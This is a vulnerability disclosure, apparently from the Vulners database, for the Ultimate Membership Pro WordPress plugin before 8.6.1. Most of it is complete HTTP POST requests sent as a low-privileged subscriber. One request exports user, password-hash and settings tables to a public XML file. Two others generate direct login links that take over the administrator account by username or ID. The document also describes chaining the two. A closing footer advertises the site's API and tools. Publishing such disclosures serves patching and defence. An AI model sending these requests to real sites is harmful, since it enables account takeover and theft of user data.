Ultimate Membership Pro < 8.6.1 - Multiple Critical Vulnerabilities
All vulnerabilities require at least a subscriber account.
===============================================================================================================================
1. Export Settings, Postmeta And Users Data Including Passwords Hashes And User Roles, As a Low Privileged User i.e. subscriber (in versions <= 8.6)
===============================================================================================================================
-------------------------------------------
Request Headers To Dump Export File (Start)
-------------------------------------------
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: {subscriber cookies}
action=ihc_make_export_file&import_users=1&import_settings=1&import_postmeta=1
-----------------------------------------
Request Headers To Dump Export File (End)
-----------------------------------------
Response from above request throws XML File URL that contains the critical data i.e. like following
http://example.com/wordpress/wp-content/plugins/indeed-membership-pro/export.xml
Following tables are fetched in that XML File
wp_users
wp_usermeta
wp_ihc_orders
wp_ihc_orders_meta
wp_ihc_security_login
wp_ihc_user_levels
wp_ihc_user_logs
wp_indeed_members_payments
wp_options
wp_ihc_notifications
wp_ihc_invitation_codes
wp_ihc_coupons
wp_ihc_debug_payments
wp_ihc_gift_templates
wp_ihc_taxes
wp_postmeta
===================================================================================================
2. Login As Any Registered User In Database Including Administrator, By Just Knowing Username or ID (in versions 7.3 to 8.6)
===================================================================================================
-------------------------------------------------
Request Headers To Login Through Username (Start)
-------------------------------------------------
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: {subscriber cookies}
action=ihc_generate_direct_link&username=admin
-----------------------------------------------
Request Headers To Login Through Username (End)
-----------------------------------------------
Response from above request will throw a Link which upon opening, leads to direct administrator login without requiring any credentials i.e. following
http://example.com/wordpress/?ihc_action=dl&token=94bb1bcba42feb2e19565a44b3d96838fef9e791
-------------------------------------------
Request Headers To Login Through ID (Start)
-------------------------------------------
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: {subscriber cookies}
action=ihc_generate_direct_link_by_uid&uid=1
-----------------------------------------
Request Headers To Login Through ID (End)
-----------------------------------------
Response from above request will throw a Link which upon opening, leads to direct administrator login without requiring any credentials i.e. following
http://example.com/wordpress/?ihc_action=dl&token=94bb1bcba42feb2e19565a44b3d96838fef9e791
To make it more efficient, Username or ID of Administrator can also be extracted through the 1st vulnerability i.e. export.xml because it contains Usernames, IDs and their Roles.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Mar 2020 06:00Current
8.1High risk
Vulners AI Score8.1